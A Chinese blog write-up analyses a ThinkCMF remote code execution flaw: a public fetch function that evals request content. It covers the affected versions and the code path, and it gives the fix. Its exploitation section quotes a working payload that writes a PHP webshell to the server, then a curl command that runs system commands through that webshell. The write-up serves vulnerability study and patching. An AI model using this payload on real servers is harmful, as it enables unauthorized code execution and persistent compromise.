thinkcmf-内容包含漏洞

一、背景

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。
ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。
每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作。在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本。

官网:http://www.thinkcmf.com

二、影响版本

ThinkCMF X1.6.0

ThinkCMF X2.1.0

ThinkCMF X2.2.0

ThinkCMF X2.2.1

ThinkCMF X2.2.2

三、漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

四、漏洞挖掘

前面都是参考自 http://www.52bug.cn/hkjs/6139.html

接下来的内容其实也是大同小异。主要还是想深入分析下具体是如何导致包含的,但是通过参考了两个相关的分析,他们都不告诉我具体是咋回事,到底是哪里包含的,就截图了个fetch函数。

参考链接:

http://www.52bug.cn/hkjs/6139.html

https://xz.aliyun.com/t/3529

上述部分也基本摘抄于其中一个链接的,写这个文章不是为了转载,主要还是想记录下自己分析包含的一个过程,至于为什么为public这个函数救可以被调用且参数可以控制。

引用于第一个链接:

ThinkPHP是一套基于MVC的应用程序框架,被分成三个核心部件:模型(M)、视图(V)、控制器(C)。 

由于添加的代码在控制器中,根据ThinkPHP框架约定可以通过a参数来指定对应的函数名,但是该函数的修饰符必须为Public, 而添加的代码正好符合该条件。 

这里我们和原文一样从头开始分析。打开我们的index.php可以看到我们项目路径为application

img

于是和作者一样进入我们的application下的portal下的controller目录中去,我们随意打开一个文件,我这里打开的是application\Portal\Controller、IndexController.class.php

2

可以看到引用了一个 ”爸爸“类HomebaseController 那么跟过去,这里的确有传说中带有public且函数名为fetch。

3

这里就是我想说的了。都是直接给个函数就告诉我可以打了。但是我想知道怎么包含呀,于是就想去分析,但是万事开头懒,我有点懒,但是为了学习还是去跟了。

一开始就是找他继承的“爸爸”到底是谁了。

看了文件头部:

4

好吧use那个我不知道怎么找,于是就一上来就问我的室友(野*军司令king威郑)他告诉我下图是php的基类控制器,我的理解吧就是tp的基类控制器吧好像没啥区别,两句话。

然后告诉我大概在什么位置,于是我就大概的找到了相关的位置如下:

simplewind\Core\Library\Think\Controller.class.php

这个文件如图:果然有我们的fetch函数了。

5

可是,还是没有什么告诉我们是包含啊,继续跟近到同目录下的view.class.php中

终于这里有我们想要的了。

6

从代码层面上看,就是content是否为空不空的话再经过一个判断,然后被eval执行。

那么这里我就直接引用原文的payload了

payload:http://127.0.0.1/?a=fetch&content=<?php+file_put_contents(“1.php”,”<?php+@eval(file_get_contents(‘php://input’));”);

就可以在根目录下1.php中写入内容了

7

然后可以通过命令请求 curl http://xxxxxxx/1.php –data “system(‘ipconfig’);”

1571914185882

也可以通过burp请求:

1571914442633

六、修复方法

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected 

致谢

野*军司令king威郑
第二次编辑,第一次没保存被我踢到关机键真爽。